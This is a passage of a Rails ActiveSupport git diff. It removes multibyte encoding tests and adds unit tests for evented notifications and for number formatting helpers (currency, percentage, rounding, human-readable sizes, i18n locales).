-    test "clean leaves ASCII strings intact" do
-      with_encoding('None') do
-        [
-          'word', "\270\236\010\210\245"
-        ].each do |string|
-          assert_equal string, ActiveSupport::Multibyte.clean(string)
-        end
-      end
-    end
-
-    test "clean cleans invalid characters from UTF-8 encoded strings" do
-      with_encoding('UTF8') do
-        cleaned_utf8 = [8].pack('C*')
-        assert_equal example('valid UTF-8'), ActiveSupport::Multibyte.clean(example('valid UTF-8'))
-        assert_equal cleaned_utf8, ActiveSupport::Multibyte.clean(example('invalid UTF-8'))
-      end
-    end
-
-    test "clean cleans invalid characters from Shift-JIS encoded strings" do
-      with_encoding('SJIS') do
-        cleaned_sjis = [184, 0, 136, 165].pack('C*')
-        assert_equal example('valid Shift-JIS'), ActiveSupport::Multibyte.clean(example('valid Shift-JIS'))
-        assert_equal cleaned_sjis, ActiveSupport::Multibyte.clean(example('invalid Shift-JIS'))
-      end
-    end
-  else
-    test "clean is a no-op" do
-      with_encoding('UTF8') do
-        assert_equal example('invalid Shift-JIS'), ActiveSupport::Multibyte.clean(example('invalid Shift-JIS'))
-      end
-    end
-  end
-
-  private
-
-  STRINGS = {
-    'valid ASCII'       => [65, 83, 67, 73, 73].pack('C*'),
-    'invalid ASCII'     => [128].pack('C*'),
-    'valid UTF-8'       => [227, 129, 147, 227, 129, 171, 227, 129, 161, 227, 130, 143].pack('C*'),
-    'invalid UTF-8'     => [184, 158, 8, 136, 165].pack('C*'),
-    'valid Shift-JIS'   => [131, 122, 129, 91, 131, 128].pack('C*'),
-    'invalid Shift-JIS' => [184, 158, 8, 0, 255, 136, 165].pack('C*')
-  }
-
-  if Kernel.const_defined?(:Encoding)
-    def example(key)
-      STRINGS[key].force_encoding(Encoding.default_external)
-    end
-
-    def examples
-      STRINGS.values.map { |s| s.force_encoding(Encoding.default_external) }
-    end
-  else
-    def example(key)
-      STRINGS[key]
-    end
-
-    def examples
-      STRINGS.values
-    end
-  end
-
-  if 'string'.respond_to?(:encoding)
-    KCODE_TO_ENCODING = Hash.new(Encoding::BINARY).
-      update('UTF8' => Encoding::UTF_8, 'SJIS' => Encoding::Shift_JIS)
-
-    def with_encoding(enc)
-      before = Encoding.default_external
-      silence_warnings { Encoding.default_external = KCODE_TO_ENCODING[enc] }
-
-      yield
-
-      silence_warnings { Encoding.default_external = before }
-    end
-  else
-    alias with_encoding with_kcode
-  end
-end
diff --git a/activesupport/test/notifications/evented_notification_test.rb b/activesupport/test/notifications/evented_notification_test.rb
new file mode 100644
index 0000000000..f690ad43fc
--- /dev/null
+++ b/activesupport/test/notifications/evented_notification_test.rb
@@ -0,0 +1,87 @@
+require 'abstract_unit'
+
+module ActiveSupport
+  module Notifications
+    class EventedTest < ActiveSupport::TestCase
+      class Listener
+        attr_reader :events
+
+        def initialize
+          @events   = []
+        end
+
+        def start(name, id, payload)
+          @events << [:start, name, id, payload]
+        end
+
+        def finish(name, id, payload)
+          @events << [:finish, name, id, payload]
+        end
+      end
+
+      class ListenerWithTimedSupport < Listener
+        def call(name, start, finish, id, payload)
+          @events << [:call, name, start, finish, id, payload]
+        end
+      end
+
+      def test_evented_listener
+        notifier = Fanout.new
+        listener = Listener.new
+        notifier.subscribe 'hi', listener
+        notifier.start  'hi', 1, {}
+        notifier.start  'hi', 2, {}
+        notifier.finish 'hi', 2, {}
+        notifier.finish 'hi', 1, {}
+
+        assert_equal 4, listener.events.length
+        assert_equal [
+          [:start, 'hi', 1, {}],
+          [:start, 'hi', 2, {}],
+          [:finish, 'hi', 2, {}],
+          [:finish, 'hi', 1, {}],
+        ], listener.events
+      end
+
+      def test_evented_listener_no_events
+        notifier = Fanout.new
+        listener = Listener.new
+        notifier.subscribe 'hi', listener
+        notifier.start  'world', 1, {}
+        assert_equal 0, listener.events.length
+      end
+
+      def test_listen_to_everything
+        notifier = Fanout.new
+        listener = Listener.new
+        notifier.subscribe nil, listener
+        notifier.start  'hello', 1, {}
+        notifier.start  'world', 1, {}
+        notifier.finish  'world', 1, {}
+        notifier.finish  'hello', 1, {}
+
+        assert_equal 4, listener.events.length
+        assert_equal [
+          [:start,  'hello', 1, {}],
+          [:start,  'world', 1, {}],
+          [:finish,  'world', 1, {}],
+          [:finish,  'hello', 1, {}],
+        ], listener.events
+      end
+
+      def test_evented_listener_priority
+        notifier = Fanout.new
+        listener = ListenerWithTimedSupport.new
+        notifier.subscribe 'hi', listener
+
+        notifier.start 'hi', 1, {}
+        notifier.finish 'hi', 1, {}
+
+        assert_equal [
+          [:start, 'hi', 1, {}],
+          [:finish, 'hi', 1, {}]
+        ], listener.events
+      end
+    end
+  end
+end
diff --git a/activesupport/test/notifications_test.rb b/activesupport/test/notifications_test.rb
index fc9fa90d07..bcb393c7bc 100644
--- a/activesupport/test/notifications_test.rb
+++ b/activesupport/test/notifications_test.rb
@@ -221,13 +221,15 @@ module Notifications
       assert_equal Hash[:payload => :bar], event.payload
     end
 
-    def test_event_is_parent_based_on_time_frame
+    def test_event_is_parent_based_on_children
       time = Time.utc(2009, 01, 01, 0, 0, 1)
 
       parent    = event(:foo, Time.utc(2009), Time.utc(2009) + 100, random_id, {})
       child     = event(:foo, time, time + 10, random_id, {})
       not_child = event(:foo, time, time + 100, random_id, {})
 
+      parent.children << child
+
       assert parent.parent_of?(child)
       assert !child.parent_of?(parent)
       assert !parent.parent_of?(not_child)
diff --git a/activesupport/test/number_helper_i18n_test.rb b/activesupport/test/number_helper_i18n_test.rb
new file mode 100644
index 0000000000..65aecece71
--- /dev/null
+++ b/activesupport/test/number_helper_i18n_test.rb
@@ -0,0 +1,156 @@
+require 'abstract_unit'
+require 'active_support/number_helper'
+
+module ActiveSupport
+  class NumberHelperI18nTest < ActiveSupport::TestCase
+    include ActiveSupport::NumberHelper
+
+    def setup
+      I18n.backend.store_translations 'ts',
+        :number => {
+        :format => { :precision => 3, :delimiter => ',', :separator => '.', :significant => false, :strip_insignificant_zeros => false },
+        :currency => { :format => { :unit => '&$', :format => '%u - %n', :negative_format => '(%u - %n)', :precision => 2 } },
+        :human => {
+          :format => {
+            :precision => 2,
+            :significant => true,
+            :strip_insignificant_zeros => true
+          },
+          :storage_units => {
+            :format => "%n %u",
+            :units => {
+              :byte => "b",
+              :kb => "k"
+            }
+          },
+          :decimal_units => {
+            :format => "%n %u",
+            :units => {
+              :deci => {:one => "Tenth", :other => "Tenths"},
+              :unit =>  "u",
+              :ten => {:one => "Ten", :other => "Tens"},
+              :thousand => "t",
+              :million => "m",
+              :billion =>"b",
+              :trillion =>"t" ,
+              :quadrillion =>"q"
+            }
+          }
+        },
+        :percentage => { :format => {:delimiter => '', :precision => 2, :strip_insignificant_zeros => true} },
+        :precision => { :format => {:delimiter => '', :significant => true} }
+      },
+      :custom_units_for_number_to_human => {:mili => "mm", :centi => "cm", :deci => "dm", :unit => "m", :ten => "dam", :hundred => "hm", :thousand => "km"}
+    end
+
+    def test_number_to_i18n_currency
+      assert_equal("&$ - 10.00", number_to_currency(10, :locale => 'ts'))
+      assert_equal("(&$ - 10.00)", number_to_currency(-10, :locale => 'ts'))
+      assert_equal("-10.00 - &$", number_to_currency(-10, :locale => 'ts', :format => "%n - %u"))
+    end
+
+    def test_number_to_currency_with_empty_i18n_store
+      I18n.backend.store_translations 'empty', {}
+
+      assert_equal("$10.00", number_to_currency(10, :locale => 'empty'))
+      assert_equal("-$10.00", number_to_currency(-10, :locale => 'empty'))
+    end
+
+    def test_locale_default_format_has_precedence_over_helper_defaults
+      I18n.backend.store_translations 'ts',
+        { :number => { :format => { :separator => ";" } } }
+
+      assert_equal("&$ - 10;00", number_to_currency(10, :locale => 'ts'))
+    end
+
+    def test_number_to_currency_without_currency_negative_format
+      I18n.backend.store_translations 'no_negative_format', :number => {
+        :currency => { :format => { :unit => '@', :format => '%n %u' } }
+      }
+
+      assert_equal("-10.00 @", number_to_currency(-10, :locale => 'no_negative_format'))
+    end
+
+    def test_number_with_i18n_precision
+      #Delimiter was set to ""
+      assert_equal("10000", number_to_rounded(10000, :locale => 'ts'))
+
+      #Precision inherited and significant was set
+      assert_equal("1.00", number_to_rounded(1.0, :locale => 'ts'))
+    end
+
+    def test_number_with_i18n_precision_and_empty_i18n_store
+      I18n.backend.store_translations 'empty', {}
+
+      assert_equal("123456789.123", number_to_rounded(123456789.123456789, :locale => 'empty'))
+      assert_equal("1.000", number_to_rounded(1.0000, :locale => 'empty'))
+    end
+
+    def test_number_with_i18n_delimiter
+      #Delimiter "," and separator "."
+      assert_equal("1,000,000.234", number_to_delimited(1000000.234, :locale => 'ts'))
+    end
+
+    def test_number_with_i18n_delimiter_and_empty_i18n_store
+      I18n.backend.store_translations 'empty', {}
+
+      assert_equal("1,000,000.234", number_to_delimited(1000000.234, :locale => 'empty'))
+    end
+
+    def test_number_to_i18n_percentage
+      # to see if strip_insignificant_zeros is true
+      assert_equal("1%", number_to_percentage(1, :locale => 'ts'))
+      # precision is 2, significant should be inherited
+      assert_equal("1.24%", number_to_percentage(1.2434, :locale => 'ts'))
+      # no delimiter
+      assert_equal("12434%", number_to_percentage(12434, :locale => 'ts'))
+    end
+
+    def test_number_to_i18n_percentage_and_empty_i18n_store
+      I18n.backend.store_translations 'empty', {}
+
+      assert_equal("1.000%", number_to_percentage(1, :locale => 'empty'))
+      assert_equal("1.243%", number_to_percentage(1.2434, :locale => 'empty'))
+      assert_equal("12434.000%", number_to_percentage(12434, :locale => 'empty'))
+    end
+
+    def test_number_to_i18n_human_size
+      #b for bytes and k for kbytes
+      assert_equal("2 k", number_to_human_size(2048, :locale => 'ts'))
+      assert_equal("42 b", number_to_human_size(42, :locale => 'ts'))
+    end
+
+    def test_number_to_i18n_human_size_with_empty_i18n_store
+      I18n.backend.store_translations 'empty', {}
+
+      assert_equal("2 KB", number_to_human_size(2048, :locale => 'empty'))
+      assert_equal("42 Bytes", number_to_human_size(42, :locale => 'empty'))
+    end
+
+    def test_number_to_human_with_default_translation_scope
+      #Using t for thousand
+      assert_equal "2 t", number_to_human(2000, :locale => 'ts')
+      #Significant was set to true with precision 2, using b for billion
+      assert_equal "1.2 b", number_to_human(1234567890, :locale => 'ts')
+      #Using pluralization (Ten/Tens and Tenth/Tenths)
+      assert_equal "1 Tenth", number_to_human(0.1, :locale => 'ts')
+      assert_equal "1.3 Tenth", number_to_human(0.134, :locale => 'ts')
+      assert_equal "2 Tenths", number_to_human(0.2, :locale => 'ts')
+      assert_equal "1 Ten", number_to_human(10, :locale => 'ts')
+      assert_equal "1.2 Ten", number_to_human(12, :locale => 'ts')
+      assert_equal "2 Tens", number_to_human(20, :locale => 'ts')
+    end
+
+    def test_number_to_human_with_empty_i18n_store
+      I18n.backend.store_translations 'empty', {}
+
+      assert_equal "2 Thousand", number_to_human(2000, :locale => 'empty')
+      assert_equal "1.23 Billion", number_to_human(1234567890, :locale => 'empty')
+    end
+
+    def test_number_to_human_with_custom_translation_scope
+      #Significant was set to true with precision 2, with custom translated units
+      assert_equal "4.3 cm", number_to_human(0.0432, :locale => 'ts', :units => :custom_units_for_number_to_human)
+    end
+  end
+end
diff --git a/activesupport/test/number_helper_test.rb b/activesupport/test/number_helper_test.rb
new file mode 100644
index 0000000000..5f54587f93
--- /dev/null
+++ b/activesupport/test/number_helper_test.rb
@@ -0,0 +1,374 @@
+require 'abstract_unit'
+require 'active_support/number_helper'
+
+module ActiveSupport
+  module NumberHelper
+    class NumberHelperTest < ActiveSupport::TestCase
+
+      class TestClassWithInstanceNumberHelpers
+        include ActiveSupport::NumberHelper
+      end
+
+      class TestClassWithClassNumberHelpers
+        extend ActiveSupport::NumberHelper
+      end
+
+      def setup
+        @instance_with_helpers = TestClassWithInstanceNumberHelpers.new
+      end
+
+      def kilobytes(number)
+        number * 1024
+      end
+
+      def megabytes(number)
+        kilobytes(number) * 1024
+      end
+
+      def gigabytes(number)
+        megabytes(number) * 1024
+      end
+
+      def terabytes(number)
+        gigabytes(number) * 1024
+      end
+
+      def test_number_to_phone
+        [@instance_with_helpers, TestClassWithClassNumberHelpers, ActiveSupport::NumberHelper].each do |number_helper|
+          assert_equal("555-1234", number_helper.number_to_phone(5551234))
+          assert_equal("800-555-1212", number_helper.number_to_phone(8005551212))
+          assert_equal("(800) 555-1212", number_helper.number_to_phone(8005551212, {:area_code => true}))
+          assert_equal("", number_helper.number_to_phone("", {:area_code => true}))
+          assert_equal("800 555 1212", number_helper.number_to_phone(8005551212, {:delimiter => " "}))
+          assert_equal("(800) 555-1212 x 123", number_helper.number_to_phone(8005551212, {:area_code => true, :extension => 123}))
+          assert_equal("800-555-1212", number_helper.number_to_phone(8005551212, :extension => "  "))
+          assert_equal("555.1212", number_helper.number_to_phone(5551212, :delimiter => '.'))
+          assert_equal("800-555-1212", number_helper.number_to_phone("8005551212"))
+          assert_equal("+1-800-555-1212", number_helper.number_to_phone(8005551212, :country_code => 1))
+          assert_equal("+18005551212", number_helper.number_to_phone(8005551212, :country_code => 1, :delimiter => ''))
+          assert_equal("22-555-1212", number_helper.number_to_phone(225551212))
+          assert_equal("+45-22-555-1212", number_helper.number_to_phone(225551212, :country_code => 45))
+        end
+      end
+
+      def test_number_to_currency
+        [@instance_with_helpers, TestClassWithClassNumberHelpers, ActiveSupport::NumberHelper].each do |number_helper|
+          assert_equal("$1,234,567,890.50", number_helper.number_to_currency(1234567890.50))
+          assert_equal("$1,234,567,890.51", number_helper.number_to_currency(1234567890.506))
+          assert_equal("-$1,234,567,890.50", number_helper.number_to_currency(-1234567890.50))
+          assert_equal("-$ 1,234,567,890.50", number_helper.number_to_currency(-1234567890.50, {:format => "%u %n"}))
+          assert_equal("($1,234,567,890.50)", number_helper.number_to_currency(-1234567890.50, {:negative_format => "(%u%n)"}))
+          assert_equal("$1,234,567,892", number_helper.number_to_currency(1234567891.50, {:precision => 0}))
+          assert_equal("$1,234,567,890.5", number_helper.number_to_currency(1234567890.50, {:precision => 1}))
+          assert_equal("&pound;1234567890,50", number_helper.number_to_currency(1234567890.50, {:unit => "&pound;", :separator => ",", :delimiter => ""}))
+          assert_equal("$1,234,567,890.50", number_helper.number_to_currency("1234567890.50"))
+          assert_equal("1,234,567,890.50 K&#269;", number_helper.number_to_currency("1234567890.50", {:unit => "K&#269;", :format => "%n %u"}))
+          assert_equal("1,234,567,890.50 - K&#269;", number_helper.number_to_currency("-1234567890.50", {:unit => "K&#269;", :format => "%n %u", :negative_format => "%n - %u"}))
+          assert_equal("0.00", number_helper.number_to_currency(+0.0, {:unit => "", :negative_format => "(%n)"}))
+          assert_equal("(0.00)", number_helper.number_to_currency(-0.0, {:unit => "", :negative_format => "(%n)"}))
+        end
+      end
+
+      def test_number_to_percentage
+        [@instance_with_helpers, TestClassWithClassNumberHelpers, ActiveSupport::NumberHelper].each do |number_helper|
+          assert_equal("100.000%", number_helper.number_to_percentage(100))
+          assert_equal("100%", number_helper.number_to_percentage(100, {:precision => 0}))
+          assert_equal("302.06%", number_helper.number_to_percentage(302.0574, {:precision => 2}))
+          assert_equal("100.000%", number_helper.number_to_percentage("100"))
+          assert_equal("1000.000%", number_helper.number_to_percentage("1000"))
+          assert_equal("123.4%", number_helper.number_to_percentage(123.400, :precision => 3, :strip_insignificant_zeros => true))
+          assert_equal("1.000,000%", number_helper.number_to_percentage(1000, :delimiter => '.', :separator => ','))
+          assert_equal("1000.000  %", number_helper.number_to_percentage(1000, :format => "%n  %"))
+        end
+      end
+
+      def test_to_delimited
+        [@instance_with_helpers, TestClassWithClassNumberHelpers, ActiveSupport::NumberHelper].each do |number_helper|
+          assert_equal("12,345,678", number_helper.number_to_delimited(12345678))
+          assert_equal("0", number_helper.number_to_delimited(0))
+          assert_equal("123", number_helper.number_to_delimited(123))
+          assert_equal("123,456", number_helper.number_to_delimited(123456))
+          assert_equal("123,456.78", number_helper.number_to_delimited(123456.78))
+          assert_equal("123,456.789", number_helper.number_to_delimited(123456.789))
+          assert_equal("123,456.78901", number_helper.number_to_delimited(123456.78901))
+          assert_equal("123,456,789.78901", number_helper.number_to_delimited(123456789.78901))
+          assert_equal("0.78901", number_helper.number_to_delimited(0.78901))
+          assert_equal("123,456.78", number_helper.number_to_delimited("123456.78"))
+        end
+      end
+
+      def test_to_delimited_with_options_hash
+        [@instance_with_helpers, TestClassWithClassNumberHelpers, ActiveSupport::NumberHelper].each do |number_helper|
+          assert_equal '12 345 678', number_helper.number_to_delimited(12345678, :delimiter => ' ')
+          assert_equal '12,345,678-05', number_helper.number_to_delimited(12345678.05, :separator => '-')
+          assert_equal '12.345.678,05', number_helper.number_to_delimited(12345678.05, :separator => ',', :delimiter => '.')
+          assert_equal '12.345.678,05', number_helper.number_to_delimited(12345678.05, :delimiter => '.', :separator => ',')
+        end
+      end
+
+      def test_to_rounded
+        [@instance_with_helpers, TestClassWithClassNumberHelpers, ActiveSupport::NumberHelper].each do |number_helper|
+          assert_equal("-111.235", number_helper.number_to_rounded(-111.2346))
+          assert_equal("111.235", number_helper.number_to_rounded(111.2346))
+          assert_equal("31.83", number_helper.number_to_rounded(31.825, :precision => 2))
+          assert_equal("111.23", number_helper.number_to_rounded(111.2346, :precision => 2))
+          assert_equal("111.00", number_helper.number_to_rounded(111, :precision => 2))
+          assert_equal("111.235", number_helper.number_to_rounded("111.2346"))
+          assert_equal("31.83", number_helper.number_to_rounded("31.825", :precision => 2))
+          assert_equal("3268", number_helper.number_to_rounded((32.6751 * 100.00), :precision => 0))
+          assert_equal("112", number_helper.number_to_rounded(111.50, :precision => 0))
+          assert_equal("1234567892", number_helper.number_to_rounded(1234567891.50, :precision => 0))
+          assert_equal("0", number_helper.number_to_rounded(0, :precision => 0))
+          assert_equal("0.00100", number_helper.number_to_rounded(0.001, :precision => 5))
+          assert_equal("0.001", number_helper.number_to_rounded(0.00111, :precision => 3))
+          assert_equal("10.00", number_helper.number_to_rounded(9.995, :precision => 2))
+          assert_equal("11.00", number_helper.number_to_rounded(10.995, :precision => 2))
+          assert_equal("0.00", number_helper.number_to_rounded(-0.001, :precision => 2))
+        end
+      end
+
+      def test_to_rounded_with_custom_delimiter_and_separator
+        [@instance_with_helpers, TestClassWithClassNumberHelpers, ActiveSupport::NumberHelper].each do |number_helper|
+          assert_equal '31,83',       number_helper.number_to_rounded(31.825, :precision => 2, :separator => ',')
+          assert_equal '1.231,83',    number_helper.number_to_rounded(1231.825, :precision => 2, :separator => ',', :delimiter => '.')
+        end
+      end
+
+      def test_to_rounded_with_significant_digits
+        [@instance_with_helpers, TestClassWithClassNumberHelpers, ActiveSupport::NumberHelper].each do |number_helper|
+          assert_equal "124000", number_helper.number_to_rounded(123987, :precision => 3, :significant => true)
+          assert_equal "120000000", number_helper.number_to_rounded(123987876, :precision => 2, :significant => true )
+          assert_equal "40000", number_helper.number_to_rounded("43523", :precision => 1, :significant => true )
+          assert_equal "9775", number_helper.number_to_rounded(9775, :precision => 4, :significant => true )
+          assert_equal "5.4", number_helper.number_to_rounded(5.3923, :precision => 2, :significant => true )
+          assert_equal "5", number_helper.number_to_rounded(5.3923, :precision => 1, :significant => true )
+          assert_equal "1", number_helper.number_to_rounded(1.232, :precision => 1, :significant => true )
+          assert_equal "7", number_helper.number_to_rounded(7, :precision => 1, :significant => true )
+          assert_equal "1", number_helper.number_to_rounded(1, :precision => 1, :significant => true )
+          assert_equal "53", number_helper.number_to_rounded(52.7923, :precision => 2, :significant => true )
+          assert_equal "9775.00", number_helper.number_to_rounded(9775, :precision => 6, :significant => true )
+          assert_equal "5.392900", number_helper.number_to_rounded(5.3929, :precision => 7, :significant => true )
+          assert_equal "0.0", number_helper.number_to_rounded(0, :precision => 2, :significant => true )
+          assert_equal "0", number_helper.number_to_rounded(0, :precision => 1, :significant => true )
+          assert_equal "0.0001", number_helper.number_to_rounded(0.0001, :precision => 1, :significant => true )
+          assert_equal "0.000100", number_helper.number_to_rounded(0.0001, :precision => 3, :significant => true )
+          assert_equal "0.0001", number_helper.number_to_rounded(0.0001111, :precision => 1, :significant => true )
+          assert_equal "10.0", number_helper.number_to_rounded(9.995, :precision => 3, :significant => true)
+          assert_equal "9.99", number_helper.number_to_rounded(9.994, :precision => 3, :significant => true)
+          assert_equal "11.0", number_helper.number_to_rounded(10.995, :precision => 3, :significant => true)
+        end
+      end
+
+      def test_to_rounded_with_strip_insignificant_zeros
+        [@instance_with_helpers, TestClassWithClassNumberHelpers, ActiveSupport::NumberHelper].each do |number_helper|
+          assert_equal "9775.43", number_helper.number_to_rounded(9775.43, :precision => 4, :strip_insignificant_zeros => true )
+          assert_equal "9775.2", number_helper.number_to_rounded(9775.2, :precision => 6, :significant => true, :strip_insignificant_zeros => true )
+          assert_equal "0", number_helper.number_to_rounded(0, :precision => 6, :significant => true, :strip_insignificant_zeros => true )
+        end
+      end
+
+      def test_to_rounded_with_significant_true_and_zero_precision
+        [@instance_with_helpers, TestClassWithClassNumberHelpers, ActiveSupport::NumberHelper].each do |number_helper|
+          # Zero precision with significant is a mistake (would always return zero),
+          # so we treat it as if significant was false (increases backwards compatibility for number_to_human_size)
+          assert_equal "124", number_helper.number_to_rounded(123.987, :precision => 0, :significant => true)
+          assert_equal "12", number_helper.number_to_rounded(12, :precision => 0, :significant => true )
+          assert_equal "12", number_helper.number_to_rounded("12.3", :precision => 0, :significant => true )
+        end
+      end
+
+      def test_number_number_to_human_size
+        [@instance_with_helpers, TestClassWithClassNumberHelpers, ActiveSupport::NumberHelper].each do |number_helper|
+          assert_equal '0 Bytes',   number_helper.number_to_human_size(0)
+          assert_equal '1 Byte',    number_helper.number_to_human_size(1)
+          assert_equal '3 Bytes',   number_helper.number_to_human_size(3.14159265)
+          assert_equal '123 Bytes', number_helper.number_to_human_size(123.0)
+          assert_equal '123 Bytes', number_helper.number_to_human_size(123)
+          assert_equal '1.21 KB',    number_helper.number_to_human_size(1234)
+          assert_equal '12.1 KB',   number_helper.number_to_human_size(12345)
+          assert_equal '1.18 MB',    number_helper.number_to_human_size(1234567)
+          assert_equal '1.15 GB',    number_helper.number_to_human_size(1234567890)
+          assert_equal '1.12 TB',    number_helper.number_to_human_size(1234567890123)
+          assert_equal '1030 TB',   number_helper.number_to_human_size(terabytes(1026))
+          assert_equal '444 KB',    number_helper.number_to_human_size(kilobytes(444))
+          assert_equal '1020 MB',   number_helper.number_to_human_size(megabytes(1023))
+          assert_equal '3 TB',      number_helper.number_to_human_size(terabytes(3))
+          assert_equal '1.2 MB',   number_helper.number_to_human_size(1234567, :precision => 2)
+          assert_equal '3 Bytes',   number_helper.number_to_human_size(3.14159265, :precision => 4)
+          assert_equal '123 Bytes', number_helper.number_to_human_size('123')
+          assert_equal '1 KB',   number_helper.number_to_human_size(kilobytes(1.0123), :precision => 2)
+          assert_equal '1.01 KB',   number_helper.number_to_human_size(kilobytes(1.0100), :precision => 4)
+          assert_equal '10 KB',   number_helper.number_to_human_size(kilobytes(10.000), :precision => 4)
+          assert_equal '1 Byte',   number_helper.number_to_human_size(1.1)
+          assert_equal '10 Bytes', number_helper.number_to_human_size(10)
+        end
+      end
+
+      def test_number_to_human_size_with_si_prefix
+        [@instance_with_helpers, TestClassWithClassNumberHelpers, ActiveSupport::NumberHelper].each do |number_helper|
+          assert_equal '3 Bytes',    number_helper.number_to_human_size(3.14159265, :prefix => :si)
+          assert_equal '123 Bytes',  number_helper.number_to_human_size(123.0, :prefix => :si)
+          assert_equal '123 Bytes',  number_helper.number_to_human_size(123, :prefix => :si)
+          assert_equal '1.23 KB',    number_helper.number_to_human_size(1234, :prefix => :si)
+          assert_equal '12.3 KB',    number_helper.number_to_human_size(12345, :prefix => :si)
+          assert_equal '1.23 MB',    number_helper.number_to_human_size(1234567, :prefix => :si)
+          assert_equal '1.23 GB',    number_helper.number_to_human_size(1234567890, :prefix => :si)
+          assert_equal '1.23 TB',    number_helper.number_to_human_size(1234567890123, :prefix => :si)
+        end
+      end
+
+      def test_number_to_human_size_with_options_hash
+        [@instance_with_helpers, TestClassWithClassNumberHelpers, ActiveSupport::NumberHelper].each do |number_helper|
+          assert_equal '1.2 MB',   number_helper.number_to_human_size(1234567, :precision => 2)
+          assert_equal '3 Bytes',   number_helper.number_to_human_size(3.14159265, :precision => 4)
+          assert_equal '1 KB',   number_helper.number_to_human_size(kilobytes(1.0123), :precision => 2)
+          assert_equal '1.01 KB',   number_helper.number_to_human_size(kilobytes(1.0100), :precision => 4)
+          assert_equal '10 KB',     number_helper.number_to_human_size(kilobytes(10.000), :precision => 4)
+          assert_equal '1 TB', number_helper.number_to_human_size(1234567890123, :precision => 1)
+          assert_equal '500 MB', number_helper.number_to_human_size(524288000, :precision=>3)
+          assert_equal '10 MB', number_helper.number_to_human_size(9961472, :precision=>0)
+          assert_equal '40 KB', number_helper.number_to_human_size(41010, :precision => 1)
+          assert_equal '40 KB', number_helper.number_to_human_size(41100, :precision => 2)
+          assert_equal '1.0 KB',   number_helper.number_to_human_size(kilobytes(1.0123), :precision => 2, :strip_insignificant_zeros => false)
+          assert_equal '1.012 KB',   number_helper.number_to_human_size(kilobytes(1.0123), :precision => 3, :significant => false)
+          assert_equal '1 KB',   number_helper.number_to_human_size(kilobytes(1.0123), :precision => 0, :significant => true) #ignores significant it precision is 0
+        end
+      end
+
+      def test_number_to_human_size_with_custom_delimiter_and_separator
+        [@instance_with_helpers, TestClassWithClassNumberHelpers, ActiveSupport::NumberHelper].each do |number_helper|
+          assert_equal '1,01 KB',     number_helper.number_to_human_size(kilobytes(1.0123), :precision => 3, :separator => ',')
+          assert_equal '1,01 KB',     number_helper.number_to_human_size(kilobytes(1.0100), :precision => 4, :separator => ',')
+          assert_equal '1.000,1 TB',  number_helper.number_to_human_size(terabytes(1000.1), :precision => 5, :delimiter => '.', :separator => ',')
+        end
+      end
+
+      def test_number_to_human
+        [@instance_with_helpers, TestClassWithClassNumberHelpers, ActiveSupport::NumberHelper].each do |number_helper|
+          assert_equal '-123', number_helper.number_to_human(-123)
+          assert_equal '-0.5', number_helper.number_to_human(-0.5)
+          assert_equal '0',   number_helper.number_to_human(0)
+          assert_equal '0.5', number_helper.number_to_human(0.5)
+          assert_equal '123', number_helper.number_to_human(123)
+          assert_equal '1.23 Thousand', number_helper.number_to_human(1234)
+          assert_equal '12.3 Thousand', number_helper.number_to_human(12345)
+          assert_equal '1.23 Million', number_helper.number_to_human(1234567)
+          assert_equal '1.23 Billion', number_helper.number_to_human(1234567890)
+          assert_equal '1.23 Trillion', number_helper.number_to_human(1234567890123)
+          assert_equal '1.23 Quadrillion', number_helper.number_to_human(1234567890123456)
+          assert_equal '1230 Quadrillion', number_helper.number_to_human(1234567890123456789)
+          assert_equal '490 Thousand', number_helper.number_to_human(489939, :precision => 2)
+          assert_equal '489.9 Thousand', number_helper.number_to_human(489939, :precision => 4)
+          assert_equal '489 Thousand', number_helper.number_to_human(489000, :precision => 4)
+          assert_equal '489.0 Thousand', number_helper.number_to_human(489000, :precision => 4, :strip_insignificant_zeros => false)
+          assert_equal '1.2346 Million', number_helper.number_to_human(1234567, :precision => 4, :significant => false)
+          assert_equal '1,2 Million', number_helper.number_to_human(1234567, :precision => 1, :significant => false, :separator => ',')
+          assert_equal '1 Million', number_helper.number_to_human(1234567, :precision => 0, :significant => true, :separator => ',') #significant forced to false
+        end
+      end
+
+      def test_number_to_human_with_custom_units
+        [@instance_with_helpers, TestClassWithClassNumberHelpers, ActiveSupport::NumberHelper].each do |number_helper|
+          #Only integers
+          volume = {:unit => "ml", :thousand => "lt", :million => "m3"}
+          assert_equal '123 lt', number_helper.number_to_human(123456, :units => volume)
+          assert_equal '12 ml', number_helper.number_to_human(12, :units => volume)
+          assert_equal '1.23 m3', number_helper.number_to_human(1234567, :units => volume)
+
+          #Including fractionals
+          distance = {:mili => "mm", :centi => "cm", :deci => "dm", :unit => "m", :ten => "dam", :hundred => "hm", :thousand => "km"}
+          assert_equal '1.23 mm', number_helper.number_to_human(0.00123, :units => distance)
+          assert_equal '1.23 cm', number_helper.number_to_human(0.0123, :units => distance)
+          assert_equal '1.23 dm', number_helper.number_to_human(0.123, :units => distance)
+          assert_equal '1.23 m', number_helper.number_to_human(1.23, :units => distance)
+          assert_equal '1.23 dam', number_helper.number_to_human(12.3, :units => distance)
+          assert_equal '1.23 hm', number_helper.number_to_human(123, :units => distance)
+          assert_equal '1.23 km', number_helper.number_to_human(1230, :units => distance)
+          assert_equal '1.23 km', number_helper.number_to_human(1230, :units => distance)
+          assert_equal '1.23 km', number_helper.number_to_human(1230, :units => distance)
+          assert_equal '12.3 km', number_helper.number_to_human(12300, :units => distance)
+
+          #The quantifiers don't need to be a continuous sequence
+          gangster = {:hundred => "hundred bucks", :million => "thousand quids"}
+          assert_equal '1 hundred bucks', number_helper.number_to_human(100, :units => gangster)
+          assert_equal '25 hundred bucks', number_helper.number_to_human(2500, :units => gangster)
+          assert_equal '25 thousand quids', number_helper.number_to_human(25000000, :units => gangster)
+          assert_equal '12300 thousand quids', number_helper.number_to_human(12345000000, :units => gangster)
+
+          #Spaces are stripped from the resulting string
+          assert_equal '4', number_helper.number_to_human(4, :units => {:unit => "", :ten => 'tens '})
+          assert_equal '4.5  tens', number_helper.number_to_human(45, :units => {:unit => "", :ten => ' tens   '})
+        end
+      end
+
+      def test_number_to_human_with_custom_format
+        [@instance_with_helpers, TestClassWithClassNumberHelpers, ActiveSupport::NumberHelper].each do |number_helper|
+          assert_equal '123 times Thousand', number_helper.number_to_human(123456, :format => "%n times %u")
+          volume = {:unit => "ml", :thousand => "lt", :million => "m3"}
+          assert_equal '123.lt', number_helper.number_to_human(123456, :units => volume, :format => "%n.%u")
+        end
+      end
+
+      def test_number_helpers_should_return_nil_when_given_nil
+        [@instance_with_helpers, TestClassWithClassNumberHelpers, ActiveSupport::NumberHelper].each do |number_helper|
